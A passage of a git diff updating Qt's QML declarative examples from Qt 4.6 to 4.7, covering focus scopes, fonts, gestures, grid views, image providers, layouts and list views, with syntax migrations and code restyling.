-    Text { x:100; y:170; text: "There should be no blue borders, or red squares.\nPressing \"9\" should do nothing.\nArrow keys should have no effect." }
-
-    Rectangle {
-        id: item3
-        x: 10; y: 300
-        width: 100; height: 100; color: "green"
-        border.width: 5
-        border.color: wantsFocus?"blue":"black"
-
-        Keys.onDigit9Pressed: console.log("Error - Bottom Left");
-        KeyNavigation.up: myScope
-
-        Rectangle {
-            width: 50; height: 50; anchors.centerIn: parent
-            color: parent.focus?"red":"transparent"
-        }
-    }
-
-}
diff --git a/examples/declarative/focusscope/test5.qml b/examples/declarative/focusscope/test5.qml
deleted file mode 100644
index da98350..0000000
--- a/examples/declarative/focusscope/test5.qml
+++ /dev/null
@@ -1,83 +0,0 @@
-import Qt 4.6
-
-Rectangle {
-    color: "white"
-    width: 800
-    height: 600
-
-    Keys.onReturnPressed: console.log("Error - Root")
-
-    FocusScope {
-        id: myScope
-        focus: true
-
-        Keys.onReturnPressed: console.log("Error - FocusScope")
-
-        Rectangle {
-            height: 120
-            width: 420
-
-            color: "transparent"
-            border.width: 5
-            border.color: myScope.wantsFocus?"blue":"black"
-
-            Rectangle {
-                x: 10; y: 10
-                width: 100; height: 100; color: "green"
-                border.width: 5
-                border.color: item1.wantsFocus?"blue":"black"
-            }
-
-            TextEdit {
-                id: item1
-                x: 20; y: 20
-                width: 90; height: 90
-                color: "white"
-                font.pixelSize: 20
-                Keys.onReturnPressed: console.log("Top Left");
-                KeyNavigation.right: item2
-                focus: true
-                wrap: true
-                text: "Box 1"
-            }
-
-            Rectangle {
-                id: item2
-                x: 310; y: 10
-                width: 100; height: 100; color: "green"
-                border.width: 5
-                border.color: wantsFocus?"blue":"black"
-                KeyNavigation.left: item1
-                Keys.onReturnPressed: console.log("Top Right");
-
-                Rectangle {
-                    width: 50; height: 50; anchors.centerIn: parent
-                    color: parent.focus?"red":"transparent"
-                }
-            }
-        }
-        KeyNavigation.down: item3
-    }
-
-    Text { x:100; y:170; text: "Blue border indicates scoped focus\nBlack border indicates NOT scoped focus\nRed box or flashing cursor indicates active focus\nUse arrow keys to navigate\nPress Ctrl-Return to print currently focused item" }
-
-    Rectangle {
-        x: 10; y: 300
-        width: 100; height: 100; color: "green"
-        border.width: 5
-        border.color: item3.wantsFocus?"blue":"black"
-    }
-
-    TextEdit {
-        id: item3
-        x: 20; y: 310
-        width: 90; height: 90
-        color: "white"
-        font.pixelSize: 20
-        text: "Box 3"
-
-        Keys.onReturnPressed: console.log("Bottom Left");
-        KeyNavigation.up: myScope
-        wrap: true
-    }
-}
diff --git a/examples/declarative/fonts/banner.qml b/examples/declarative/fonts/banner.qml
index 7989f80..353354a 100644
--- a/examples/declarative/fonts/banner.qml
+++ b/examples/declarative/fonts/banner.qml
@@ -1,16 +1,19 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     id: screen
-    width: 640; height: 320; color: "steelblue"
 
     property int pixelSize: screen.height * 1.25
     property color textColor: "lightsteelblue"
     property string text: "Hello world! "
 
+    width: 640; height: 320
+    color: "steelblue"
+
     Row {
         y: -screen.height / 4.5
-        NumberAnimation on x { from: 0; to: -text.width; duration: 6000; repeat: true }
+
+        NumberAnimation on x { from: 0; to: -text.width; duration: 6000; loops: Animation.Infinite }
         Text { id: text; font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text }
         Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text }
         Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text }
diff --git a/examples/declarative/fonts/fonts.qml b/examples/declarative/fonts/fonts.qml
index e928df4..ae31b03 100644
--- a/examples/declarative/fonts/fonts.qml
+++ b/examples/declarative/fonts/fonts.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     property string myText: "The quick brown fox jumps over the lazy dog."
@@ -7,40 +7,47 @@ Rectangle {
     color: "steelblue"
 
     FontLoader { id: fixedFont; name: "Courier" }
-    FontLoader { id: localFont; source: "fonts/tarzenau-ocr-a.ttf" }
+    FontLoader { id: localFont; source: "fonts/tarzeau_ocr_a.ttf" }
     FontLoader { id: webFont; source: "http://www.princexml.com/fonts/steffmann/Starburst.ttf" }
 
     Column {
-        anchors.fill: parent; spacing: 15
-        anchors.leftMargin: 10; anchors.rightMargin: 10
+        anchors { fill: parent; leftMargin: 10; rightMargin: 10 }
+        spacing: 15
+
         Text {
-            text: myText; color: "lightsteelblue"
-            width: parent.width; elide: Text.ElideRight
+            text: myText
+            color: "lightsteelblue"
+            width: parent.width
+            elide: Text.ElideRight
             font.family: "Times"; font.pointSize: 42
         }
         Text {
-            text: myText; color: "lightsteelblue"
-            width: parent.width; elide: Text.ElideLeft
-            font.family: "Times"; font.pointSize: 42
-            font.capitalization: Font.AllUppercase
+            text: myText
+            color: "lightsteelblue"
+            width: parent.width
+            elide: Text.ElideLeft
+            font { family: "Times"; pointSize: 42; capitalization: Font.AllUppercase }
         }
         Text {
-            text: myText; color: "lightsteelblue"
-            width: parent.width; elide: Text.ElideMiddle
-            font.family: fixedFont.name; font.pointSize: 42; font.weight: Font.Bold
-            font.capitalization: Font.AllLowercase
+            text: myText
+            color: "lightsteelblue"
+            width: parent.width
+            elide: Text.ElideMiddle
+            font { family: fixedFont.name; pointSize: 42; weight: Font.Bold; capitalization: Font.AllLowercase }
         }
         Text {
-            text: myText; color: "lightsteelblue"
-            width: parent.width; elide: Text.ElideRight
-            font.family: fixedFont.name; font.pointSize: 42; font.italic: true
-            font.capitalization: Font.SmallCaps
+            text: myText
+            color: "lightsteelblue"
+            width: parent.width
+            elide: Text.ElideRight
+            font { family: fixedFont.name; pointSize: 42; italic: true; capitalization: Font.SmallCaps }
         }
         Text {
-            text: myText; color: "lightsteelblue"
-            width: parent.width; elide: Text.ElideLeft
-            font.family: localFont.name; font.pointSize: 42
-            font.capitalization: Font.Capitalize
+            text: myText
+            color: "lightsteelblue"
+            width: parent.width
+            elide: Text.ElideLeft
+            font { family: localFont.name; pointSize: 42; capitalization: Font.Capitalize }
         }
         Text {
             text: {
@@ -49,7 +56,8 @@ Rectangle {
                 else if (webFont.status == 3) "Error loading font"
             }
             color: "lightsteelblue"
-            width: parent.width; elide: Text.ElideMiddle
+            width: parent.width
+            elide: Text.ElideMiddle
             font.family: webFont.name; font.pointSize: 42
         }
     }
diff --git a/examples/declarative/fonts/hello.qml b/examples/declarative/fonts/hello.qml
index 334409e..d4d0e4c 100644
--- a/examples/declarative/fonts/hello.qml
+++ b/examples/declarative/fonts/hello.qml
@@ -1,24 +1,35 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
-    id: screen; width: 800; height: 480; color: "black"
+    id: screen
+
+    width: 800; height: 480
+    color: "black"
 
     Item {
-        id: container; x: screen.width / 2; y: screen.height / 2
+        id: container
+        x: screen.width / 2; y: screen.height / 2
+
         Text {
-            id: text; color: "white"; anchors.centerIn: parent
-            text: "Hello world!"; font.pixelSize: 60
+            id: text
+            anchors.centerIn: parent
+            color: "white"
+            text: "Hello world!"
+            font.pixelSize: 60
 
             SequentialAnimation on font.letterSpacing {
-                repeat: true;
+                loops: Animation.Infinite;
                 NumberAnimation { from: 100; to: 300; easing.type: "InQuad"; duration: 3000 }
-                ScriptAction { script: {
-                    container.y = (screen.height / 4) + (Math.random() * screen.height / 2)
-                    container.x = (screen.width / 4) + (Math.random() * screen.width / 2)
-                } }
+                ScriptAction {
+                    script: {
+                        container.y = (screen.height / 4) + (Math.random() * screen.height / 2)
+                        container.x = (screen.width / 4) + (Math.random() * screen.width / 2)
+                    }
+                }
             }
+
             SequentialAnimation on opacity {
-                repeat: true;
+                loops: Animation.Infinite;
                 NumberAnimation { from: 1; to: 0; duration: 2600 }
                 PauseAnimation { duration: 400 }
             }
diff --git a/examples/declarative/gestures/experimental-gestures.qml b/examples/declarative/gestures/experimental-gestures.qml
new file mode 100644
index 0000000..cb190ea
--- /dev/null
+++ b/examples/declarative/gestures/experimental-gestures.qml
@@ -0,0 +1,36 @@
+import Qt 4.7
+import Qt.labs.gestures 1.0
+
+// Only works on platforms with Touch support.
+
+Rectangle {
+    id: rect
+    width: 320
+    height: 180
+
+    Text {
+        anchors.centerIn: parent
+        text: "Tap / TapAndHold / Pan / Pinch / Swipe\nOnly works on platforms with Touch support."
+        horizontalAlignment: Text.Center
+    }
+
+    GestureArea {
+        anchors.fill: parent
+        focus: true
+
+        // Only some of the many gesture properties are shown. See Gesture documentation.
+
+        onTap:
+            console.log("tap pos = (",gesture.position.x,",",gesture.position.y,")")
+        onTapAndHold:
+            console.log("tap and hold pos = (",gesture.position.x,",",gesture.position.y,")")
+        onPan:
+            console.log("pan delta = (",gesture.delta.x,",",gesture.delta.y,") acceleration = ",gesture.acceleration)
+        onPinch:
+            console.log("pinch center = (",gesture.centerPoint.x,",",gesture.centerPoint.y,") rotation =",gesture.rotationAngle," scale =",gesture.scaleFactor)
+        onSwipe:
+            console.log("swipe angle=",gesture.swipeAngle)
+        onGesture:
+            console.log("gesture hot spot = (",gesture.hotSpot.x,",",gesture.hotSpot.y,")")
+    }
+}
diff --git a/examples/declarative/gridview/gridview-example.qml b/examples/declarative/gridview/gridview-example.qml
new file mode 100644
index 0000000..a5f41fb
--- /dev/null
+++ b/examples/declarative/gridview/gridview-example.qml
@@ -0,0 +1,49 @@
+import Qt 4.7
+
+Rectangle {
+    width: 300; height: 400
+    color: "white"
+
+    ListModel {
+        id: appModel
+        ListElement { name: "Music"; icon: "pics/AudioPlayer_48.png" }
+        ListElement { name: "Movies"; icon: "pics/VideoPlayer_48.png" }
+        ListElement { name: "Camera"; icon: "pics/Camera_48.png" }
+        ListElement { name: "Calendar"; icon: "pics/DateBook_48.png" }
+        ListElement { name: "Messaging"; icon: "pics/EMail_48.png" }
+        ListElement { name: "Todo List"; icon: "pics/TodoList_48.png" }
+        ListElement { name: "Contacts"; icon: "pics/AddressBook_48.png" }
+    }
+
+    Component {
+        id: appDelegate
+
+        Item {
+            width: 100; height: 100
+
+            Image {
+                id: myIcon
+                y: 20; anchors.horizontalCenter: parent.horizontalCenter
+                source: icon
+            }
+            Text {
+                anchors { top: myIcon.bottom; horizontalCenter: parent.horizontalCenter }
+                text: name
+            }
+        }
+    }
+
+    Component {
+        id: appHighlight
+        Rectangle { width: 80; height: 80; color: "lightsteelblue" }
+    }
+
+    GridView {
+        anchors.fill: parent
+        cellWidth: 100; cellHeight: 100
+        highlight: appHighlight
+        focus: true
+        model: appModel
+        delegate: appDelegate
+    }
+}
diff --git a/examples/declarative/gridview/gridview.qml b/examples/declarative/gridview/gridview.qml
deleted file mode 100644
index 93931c7..0000000
--- a/examples/declarative/gridview/gridview.qml
+++ /dev/null
@@ -1,38 +0,0 @@
-import Qt 4.6
-
-Rectangle {
-    width: 300; height: 400; color: "white"
-
-    ListModel {
-        id: appModel
-        ListElement { name: "Music"; icon: "pics/AudioPlayer_48.png" }
-        ListElement { name: "Movies"; icon: "pics/VideoPlayer_48.png" }
-        ListElement { name: "Camera"; icon: "pics/Camera_48.png" }
-        ListElement { name: "Calendar"; icon: "pics/DateBook_48.png" }
-        ListElement { name: "Messaging"; icon: "pics/EMail_48.png" }
-        ListElement { name: "Todo List"; icon: "pics/TodoList_48.png" }
-        ListElement { name: "Contacts"; icon: "pics/AddressBook_48.png" }
-    }
-
-    Component {
-        id: appDelegate
-        Item {
-            width: 100; height: 100
-            Image { id: myIcon; y: 20; anchors.horizontalCenter: parent.horizontalCenter; source: icon }
-            Text { anchors.top: myIcon.bottom; anchors.horizontalCenter: parent.horizontalCenter; text: name }
-        }
-    }
-
-    Component {
-        id: appHighlight
-        Rectangle { width: 80; height: 80; color: "lightsteelblue" }
-    }
-
-    GridView {
-        anchors.fill: parent
-        cellWidth: 100; cellHeight: 100
-        model: appModel; delegate: appDelegate
-        highlight: appHighlight
-        focus: true
-    }
-}
diff --git a/examples/declarative/imageprovider/imageprovider-example.qml b/examples/declarative/imageprovider/imageprovider-example.qml
new file mode 100644
index 0000000..d774112
--- /dev/null
+++ b/examples/declarative/imageprovider/imageprovider-example.qml
@@ -0,0 +1,25 @@
+import Qt 4.7
+import "ImageProviderCore"
+//![0]
+ListView {
+    width: 100; height: 100
+    anchors.fill: parent
+
+    model: myModel
+
+    delegate: Component {
+        Item {
+            width: 100
+            height: 50
+            Text {
+                text: "Loading..."
+                anchors.centerIn: parent
+            }
+            Image {
+                source: modelData
+                sourceSize: "50x25"
+            }
+        }
+    }
+}
+//![0]
diff --git a/examples/declarative/imageprovider/imageprovider.cpp b/examples/declarative/imageprovider/imageprovider.cpp
index 011a63b..4c4aa94 100644
--- a/examples/declarative/imageprovider/imageprovider.cpp
+++ b/examples/declarative/imageprovider/imageprovider.cpp
@@ -61,11 +61,21 @@ class ColorImageProvider : public QDeclarativeImageProvider
 {
 public:
     // This is run in a low priority thread.
-    QImage request(const QString &id) {
-        QImage image(100, 50, QImage::Format_RGB32);
+    QImage request(const QString &id, QSize *size, const QSize &req_size)
+    {
+        if (size) *size = QSize(100,50);
+        QImage image(
+                req_size.width() > 0 ? req_size.width() : 100,
+                req_size.height() > 0 ? req_size.height() : 50,
+                QImage::Format_RGB32);
         image.fill(QColor(id).rgba());
         QPainter p(&image);
+        QFont f = p.font();
+        f.setPixelSize(30);
+        p.setFont(f);
         p.setPen(Qt::black);
+        if (req_size.isValid())
+            p.scale(req_size.width()/100.0, req_size.height()/50.0);
         p.drawText(QRectF(0,0,100,50),Qt::AlignCenter,id);
         return image;
     }
diff --git a/examples/declarative/imageprovider/imageprovider.pro b/examples/declarative/imageprovider/imageprovider.pro
index 86dbcca..945a301 100644
--- a/examples/declarative/imageprovider/imageprovider.pro
+++ b/examples/declarative/imageprovider/imageprovider.pro
@@ -18,4 +18,8 @@ ImageProviderCore_sources.files = \
     ImageProviderCore/qmldir 
 ImageProviderCore_sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/imageprovider/ImageProviderCore
 
+symbian:{
+    TARGET.EPOCALLOWDLLDATA=1
+}
+
 INSTALLS = sources ImageProviderCore_sources target
diff --git a/examples/declarative/imageprovider/imageprovider.qml b/examples/declarative/imageprovider/imageprovider.qml
deleted file mode 100644
index f899b1e..0000000
--- a/examples/declarative/imageprovider/imageprovider.qml
+++ /dev/null
@@ -1,23 +0,0 @@
-import Qt 4.6
-import "ImageProviderCore" 
-//![0]
-ListView {
-    width: 100
-    height: 100
-    anchors.fill: parent
-    model: myModel
-    delegate: Component {
-        Item {
-            width: 100
-            height: 50
-            Text {
-                text: "Loading..."
-                anchors.centerIn: parent
-            }
-            Image {
-                source: modelData
-            }
-        }
-    }
-}
-//![0]
diff --git a/examples/declarative/images/content/lemonade.jpg b/examples/declarative/images/content/lemonade.jpg
new file mode 100644
index 0000000..db445c9
--- /dev/null
+++ b/examples/declarative/images/content/lemonade.jpg
diff --git a/examples/declarative/images/images.qml b/examples/declarative/images/images.qml
new file mode 100644
index 0000000..e48ad50
--- /dev/null
+++ b/examples/declarative/images/images.qml
@@ -0,0 +1,72 @@
+import Qt 4.7
+
+Rectangle {
+    color: "white"
+    width: grid.width + 50
+    height: grid.height + 50
+
+    Grid {
+        id: grid
+        x: 25; y: 25
+        columns: 3
+
+        Image {
+            source: "content/lemonade.jpg"
+        }
+
+        Image {
+            sourceSize.width: 50
+            sourceSize.height: 50
+            source: "content/lemonade.jpg"
+        }
+
+        Image {
+            sourceSize.width: 50
+            sourceSize.height: 50
+            smooth: true
+            source: "content/lemonade.jpg"
+        }
+
+        Image {
+            scale: 1/3
+            source: "content/lemonade.jpg"
+        }
+
+        Image {
+            scale: 1/3
+            sourceSize.width: 50
+            sourceSize.height: 50
+            source: "content/lemonade.jpg"
+        }
+
+        Image {
+            scale: 1/3
+            sourceSize.width: 50
+            sourceSize.height: 50
+            smooth: true
+            source: "content/lemonade.jpg"
+        }
+
+        Image {
+            width: 50; height: 50
+            transform: Translate { x: 50 }
+            source: "content/lemonade.jpg"
+        }
+
+        Image {
+            width: 50; height: 50
+            transform: Translate { x: 50 }
+            sourceSize.width: 50
+            sourceSize.height: 50
+            source: "content/lemonade.jpg"
+        }
+
+        Image {
+            width: 50; height: 50
+            transform: Translate { x: 50 }
+            sourceSize: "50x50" // syntactic sugar
+            smooth: true
+            source: "content/lemonade.jpg"
+        }
+    }
+}
diff --git a/examples/declarative/layouts/Button.qml b/examples/declarative/layouts/Button.qml
index 7cbf68a..0f08893 100644
--- a/examples/declarative/layouts/Button.qml
+++ b/examples/declarative/layouts/Button.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle { border.color: "black"; color: "steelblue"; radius: 5; width: pix.width + textelement.width + 13; height: pix.height + 10; id: page
     property string text
diff --git a/examples/declarative/layouts/layouts.qml b/examples/declarative/layouts/layouts.qml
index 4b2a3f8..391eab7 100644
--- a/examples/declarative/layouts/layouts.qml
+++ b/examples/declarative/layouts/layouts.qml
@@ -1,30 +1,28 @@
-import Qt 4.6
-import Qt.widgets 4.6
+import Qt 4.7
+import Qt.widgets 4.7
+
 Item {
     id: resizable
-    width:400
-    height:400
 
-    GraphicsObjectContainer {
-        anchors.fill:parent
+    width: 400
+    height: 400
 
-        QGraphicsWidget {
-            size.width:parent.width
-            size.height:parent.height
+    QGraphicsWidget {
+        size.width: parent.width
+        size.height: parent.height
 
-            layout: QGraphicsLinearLayout {
-                LayoutItem {
-                    minimumSize: "100x100"
-                    maximumSize: "300x300"
-                    preferredSize: "100x100"
-                    Rectangle { color: "yellow"; anchors.fill: parent }
-                }
-                LayoutItem {
-                    minimumSize: "100x100"
-                    maximumSize: "400x400"
-                    preferredSize: "200x200"
-                    Rectangle { color: "green"; anchors.fill: parent }
-                }
+        layout: QGraphicsLinearLayout {
+            LayoutItem {
+                minimumSize: "100x100"
+                maximumSize: "300x300"
+                preferredSize: "100x100"
+                Rectangle { color: "yellow"; anchors.fill: parent }
+            }
+            LayoutItem {
+                minimumSize: "100x100"
+                maximumSize: "400x400"
+                preferredSize: "200x200"
+                Rectangle { color: "green"; anchors.fill: parent }
             }
         }
     }
diff --git a/examples/declarative/layouts/positioners.qml b/examples/declarative/layouts/positioners.qml
index bce53bd..3703b59 100644
--- a/examples/declarative/layouts/positioners.qml
+++ b/examples/declarative/layouts/positioners.qml
@@ -1,32 +1,41 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     id: page
-    width: 420
-    height: 420
-    color: "white"
+    width: 420; height: 420
 
     Column {
         id: layout1
         y: 0
         move: Transition {
-            NumberAnimation {
-                properties: "y"; easing.type: "OutBounce"
-            }
+            NumberAnimation { properties: "y"; easing.type: "OutBounce" }
         }
         add: Transition {
-            NumberAnimation {
-                properties: "y"; easing.type: "OutQuad"
-            }
+            NumberAnimation { properties: "y"; easing.type: "OutQuad" }
         }
+
         Rectangle { color: "red"; width: 100; height: 50; border.color: "black"; radius: 15 }
-        Rectangle { id: blueV1; color: "lightsteelblue"; width: 100; height: 50; border.color: "black"; radius: 15 
-            Behavior on opacity {NumberAnimation{}}
+
+        Rectangle {
+            id: blueV1
+            width: 100; height: 50
+            color: "lightsteelblue"
+            border.color: "black"
+            radius: 15 
+            Behavior on opacity { NumberAnimation {} }
         }
+
         Rectangle { color: "green"; width: 100; height: 50; border.color: "black"; radius: 15 }
-        Rectangle { id: blueV2; color: "lightsteelblue"; width: 100; height: 50; border.color: "black"; radius: 15 
-            Behavior on opacity {NumberAnimation{}}
+
+        Rectangle {
+            id: blueV2
+            width: 100; height: 50
+            color: "lightsteelblue"
+            border.color: "black"
+            radius: 15 
+            Behavior on opacity { NumberAnimation {} }
         }
+
         Rectangle { color: "orange"; width: 100; height: 50; border.color: "black"; radius: 15 }
     }
 
@@ -34,31 +43,41 @@ Rectangle {
         id: layout2
         y: 300 
         move: Transition {
-            NumberAnimation {
-                properties: "x"; easing.type: "OutBounce"
-            }
+            NumberAnimation { properties: "x"; easing.type: "OutBounce" }
         }
         add: Transition {
-            NumberAnimation {
-                properties: "x"; easing.type: "OutQuad"
-            }
+            NumberAnimation { properties: "x"; easing.type: "OutQuad" }
         }
+
         Rectangle { color: "red"; width: 50; height: 100; border.color: "black"; radius: 15 }
-        Rectangle { id: blueH1; color: "lightsteelblue"; width: 50; height: 100; border.color: "black"; radius: 15
-            Behavior on opacity {NumberAnimation{}}
+
+        Rectangle {
+            id: blueH1
+            width: 50; height: 100
+            color: "lightsteelblue"
+            border.color: "black"
+            radius: 15
+            Behavior on opacity { NumberAnimation {} }
         }
+
         Rectangle { color: "green"; width: 50; height: 100; border.color: "black"; radius: 15 }
-        Rectangle { id: blueH2; color: "lightsteelblue"; width: 50; height: 100; border.color: "black"; radius: 15 
-            Behavior on opacity {NumberAnimation{}}
+
+        Rectangle {
+            id: blueH2
+            width: 50; height: 100
+            color: "lightsteelblue"
+            border.color: "black"
+            radius: 15 
+            Behavior on opacity { NumberAnimation {} }
         }
+
         Rectangle { color: "orange"; width: 50; height: 100; border.color: "black"; radius: 15 }
     }
 
     Button {
+        x: 135; y: 90
         text: "Remove"
         icon: "del.png"
-        x: 135
-        y: 90
 
         onClicked: {
             blueH2.opacity = 0
@@ -75,10 +94,9 @@ Rectangle {
     }
 
     Button {
+        x: 145; y: 140
         text: "Add"
         icon: "add.png"
-        x: 145
-        y: 140
 
         onClicked: {
             blueH2.opacity = 1
@@ -95,34 +113,50 @@ Rectangle {
     }
 
     Grid {
-        x: 260
-        y: 0
+        x: 260; y: 0
         columns: 3
 
         move: Transition {
-            NumberAnimation {
-                properties: "x,y"; easing.type: "OutBounce"
-            }
+            NumberAnimation { properties: "x,y"; easing.type: "OutBounce" }
         }
 
         add: Transition {
-            NumberAnimation {
-                properties: "x,y"; easing.type: "OutBounce"
-            }
+            NumberAnimation { properties: "x,y"; easing.type: "OutBounce" }
         }
 
         Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 }
-        Rectangle { id: blueG1; color: "lightsteelblue"; width: 50; height: 50; border.color: "black"; radius: 15 
-            Behavior on opacity {NumberAnimation{}}
+
+        Rectangle {
+            id: blueG1
+            width: 50; height: 50
+            color: "lightsteelblue"
+            border.color: "black"
+            radius: 15 
+            Behavior on opacity { NumberAnimation {} }
         }
+
         Rectangle { color: "green"; width: 50; height: 50; border.color: "black"; radius: 15 }
-        Rectangle { id: blueG2; color: "lightsteelblue"; width: 50; height: 50; border.color: "black"; radius: 15 
-            Behavior on opacity {NumberAnimation{}}
+
+        Rectangle {
+            id: blueG2
+            width: 50; height: 50
+            color: "lightsteelblue"
+            border.color: "black"
+            radius: 15 
+            Behavior on opacity { NumberAnimation {} }
         }
+
         Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 }
-        Rectangle { id: blueG3; color: "lightsteelblue"; width: 50; height: 50; border.color: "black"; radius: 15 
-            Behavior on opacity {NumberAnimation{}}
+
+        Rectangle {
+            id: blueG3
+            width: 50; height: 50
+            color: "lightsteelblue"
+            border.color: "black"
+            radius: 15 
+            Behavior on opacity { NumberAnimation {} }
         }
+
         Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 }
         Rectangle { color: "green"; width: 50; height: 50; border.color: "black"; radius: 15 }
         Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 }
@@ -130,33 +164,49 @@ Rectangle {
 
     Flow {
         id: layout4
-        x: 260
-        y: 250
-        width: 150
+        x: 260; y: 250; width: 150
 
         move: Transition {
-            NumberAnimation {
-                properties: "x,y"; easing.type: "OutBounce"
-            }
+            NumberAnimation { properties: "x,y"; easing.type: "OutBounce" }
         }
 
         add: Transition {
-            NumberAnimation {
-                properties: "x,y"; easing.type: "OutBounce"
-            }
+            NumberAnimation { properties: "x,y"; easing.type: "OutBounce" }
         }
+
         Rectangle { color: "red"; width: 50; height: 50; border.color: "black"; radius: 15 }
-        Rectangle { id: blueF1; color: "lightsteelblue"; width: 60; height: 50; border.color: "black"; radius: 15 
-            Behavior on opacity {NumberAnimation{}}
+
+        Rectangle {
+            id: blueF1
+            width: 60; height: 50
+            color: "lightsteelblue"
+            border.color: "black"
+            radius: 15 
+            Behavior on opacity { NumberAnimation {} }
         }
+
         Rectangle { color: "green"; width: 30; height: 50; border.color: "black"; radius: 15 }
-        Rectangle { id: blueF2; color: "lightsteelblue"; width: 60; height: 50; border.color: "black"; radius: 15 
-            Behavior on opacity {NumberAnimation{}}
+
+        Rectangle {
+            id: blueF2
+            width: 60; height: 50
+            color: "lightsteelblue"
+            border.color: "black"
+            radius: 15 
+            Behavior on opacity { NumberAnimation {} }
         }
+
         Rectangle { color: "orange"; width: 50; height: 50; border.color: "black"; radius: 15 }
-        Rectangle { id: blueF3; color: "lightsteelblue"; width: 40; height: 50; border.color: "black"; radius: 15 
-            Behavior on opacity {NumberAnimation{}}
+
+        Rectangle { 
+            id: blueF3
+            width: 40; height: 50
+            color: "lightsteelblue"
+            border.color: "black"
+            radius: 15 
+            Behavior on opacity { NumberAnimation {} }
         }
+
         Rectangle { color: "red"; width: 80; height: 50; border.color: "black"; radius: 15 }
     }
 
diff --git a/examples/declarative/workerlistmodel/dataloader.js b/examples/declarative/listmodel-threaded/dataloader.js
index eac7478..eac7478 100644
--- a/examples/declarative/workerlistmodel/dataloader.js
+++ b/examples/declarative/listmodel-threaded/dataloader.js
diff --git a/examples/declarative/listmodel-threaded/timedisplay.qml b/examples/declarative/listmodel-threaded/timedisplay.qml
new file mode 100644
index 0000000..80ac9fa
--- /dev/null
+++ b/examples/declarative/listmodel-threaded/timedisplay.qml
@@ -0,0 +1,35 @@
+// ![0]
+import Qt 4.7
+
+ListView {
+    width: 200
+    height: 300
+
+    model: listModel
+    delegate: Component {
+        Text { text: time }
+    }
+
+    ListModel { id: listModel }
+
+    WorkerScript {
+        id: worker
+        source: "dataloader.js"
+        onMessage: {
+            console.log("Worker said", messageObject.msg);
+        }
+    }
+
+    Timer {
+        id: timer
+        interval: 2000; repeat: true
+        running: true
+        triggeredOnStart: true
+
+        onTriggered: {
+            var msg = {'action': 'appendCurrentTime', 'model': listModel};
+            worker.sendMessage(msg);
+        }
+    }
+}
+// ![0]
diff --git a/examples/declarative/listview/content/ClickAutoRepeating.qml b/examples/declarative/listview/content/ClickAutoRepeating.qml
index 5240e65..f65c2b3 100644
--- a/examples/declarative/listview/content/ClickAutoRepeating.qml
+++ b/examples/declarative/listview/content/ClickAutoRepeating.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: page
@@ -18,7 +18,7 @@ Item {
         ScriptAction { script: page.clicked() }
         PauseAnimation { duration: repeatdelay }
         SequentialAnimation {
-            repeat: true
+            loops: Animation.Infinite
             ScriptAction { script: page.clicked() }
             PauseAnimation { duration: repeatperiod }
         }
diff --git a/examples/declarative/listview/content/MediaButton.qml b/examples/declarative/listview/content/MediaButton.qml
index e9065c1..a625b4c 100644
--- a/examples/declarative/listview/content/MediaButton.qml
+++ b/examples/declarative/listview/content/MediaButton.qml
@@ -1,7 +1,7 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
-    property var text
+    property variant text
     signal clicked
 
     id: container
diff --git a/examples/declarative/listview/dummydata/MyPetsModel.qml b/examples/declarative/listview/dummydata/MyPetsModel.qml
index 1ac37bb..f15dda3 100644
--- a/examples/declarative/listview/dummydata/MyPetsModel.qml
+++ b/examples/declarative/listview/dummydata/MyPetsModel.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 // ListModel allows free form list models to be defined and populated.
 
diff --git a/examples/declarative/listview/dummydata/Recipes.qml b/examples/declarative/listview/dummydata/Recipes.qml
index 68e94ac..f707c82 100644
--- a/examples/declarative/listview/dummydata/Recipes.qml
+++ b/examples/declarative/listview/dummydata/Recipes.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 ListModel {
     id: recipesModel
diff --git a/examples/declarative/listview/dynamic.qml b/examples/declarative/listview/dynamic.qml
index 81550d7..236a9c5 100644
--- a/examples/declarative/listview/dynamic.qml
+++ b/examples/declarative/listview/dynamic.qml
@@ -1,13 +1,15 @@
-import Qt 4.6
+import Qt 4.7
 import "content"
 import "../scrollbar"
 
 Rectangle {
+    id: container
     width: 640; height: 480
     color: "#343434"
 
     ListModel {
         id: fruitModel
+
         ListElement {
             name: "Apple"; cost: 2.45
             attributes: [
@@ -51,12 +53,16 @@ Rectangle {
 
     Component {
         id: fruitDelegate
+
         Item {
-            width: parent.width; height: 55
+            width: container.width; height: 55
             
             Column {
-                id: moveButtons; x: 5; width: childrenRect.width; anchors.verticalCenter: parent.verticalCenter
-                Image { source: "content/pics/go-up.png"
+                id: moveButtons
+                x: 5; width: childrenRect.width; anchors.verticalCenter: parent.verticalCenter
+
+                Image {
+                    source: "content/pics/go-up.png"
                     MouseArea { anchors.fill: parent; onClicked: fruitModel.move(index,index-1,1) }
                 }
                 Image { source: "content/pics/go-down.png"
@@ -66,33 +72,63 @@ Rectangle {
 
             Column {
                 anchors { right: itemButtons.left; verticalCenter: parent.verticalCenter; left: moveButtons.right; leftMargin: 10 }
+
                 Text {
-                    id: label; font.bold: true; text: name; elide: Text.ElideRight; font.pixelSize: 15
-                    width: parent.width; color: "White"
+                    id: label
+                    width: parent.width
+                    color: "White"
+                    font.bold: true; font.pixelSize: 15
+                    text: name; elide: Text.ElideRight
                 }
                 Row {
                     spacing: 5
-                    Repeater { model: attributes; Component { Text { text: description; color: "White" } } }
+                    Repeater {
+                        model: attributes
+                        Component { 
+                            Text { text: description; color: "White" }
+                        }
+                    }
                 }
             }
 
             Row {
                 id: itemButtons
-                anchors.right: removeButton.left; anchors.rightMargin: 35; spacing: 10
